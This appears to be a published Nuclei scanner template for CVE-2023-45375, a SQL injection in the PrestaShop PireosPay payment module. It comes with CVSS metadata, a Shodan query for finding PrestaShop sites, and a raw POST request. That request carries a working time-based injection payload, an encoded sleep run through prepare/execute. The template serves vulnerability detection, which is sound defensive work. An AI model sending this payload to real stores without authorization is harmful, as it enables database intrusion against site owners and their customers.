PrestaShop PireosPay - SQL Injection

ID: CVE-2023-45375

Severity: high

Author: MaStErChO

Tags: time-based-sqli,cve,cve2023,sqli,prestashop,pireospay,01generator

Description

In the module “PireosPay” (pireospay) up to version 1.7.9 from 01generator.com for PrestaShop, a guest can perform SQL injection in affected versions.

YAML Source

id: CVE-2023-45375
info:
  name: PrestaShop PireosPay - SQL Injection
  author: MaStErChO
  severity: high
  description: |
    In the module “PireosPay” (pireospay) up to version 1.7.9 from 01generator.com for PrestaShop, a guest can perform SQL injection in affected versions.
  reference:
    - https://security.friendsofpresta.org/modules/2023/10/12/pireospay.html
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-45375
    cwe-id: CWE-89
    epss-score: 0.01204
    epss-percentile: 0.8517
    cpe: cpe:2.3:a:01generator:pireospay:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: 01generator
    product: pireospay
    framework: prestashop
    shodan-query: "http.component:\"prestashop\""
  tags: time-based-sqli,cve,cve2023,sqli,prestashop,pireospay,01generator
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "/modules/pireospay/")
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20
        POST /module/pireospay/validation HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ajax=true&MerchantReference=1%22;select(0x73656c65637420736c6565702836293b)INTO@a;prepare`b`from@a;execute`b`;--

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 302
          - contains(content_type, "text/html")
        condition: and
# digest: 4b0a00483046022100ed590def4637cd58133c25318a4e2bf493bec3ff82b3cd444a3fde3e8dbfa8d10221008ebaa957c04d175574f9064d504e0530386155e00598571bda1119650d44b156:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-45375.yaml"

View on Github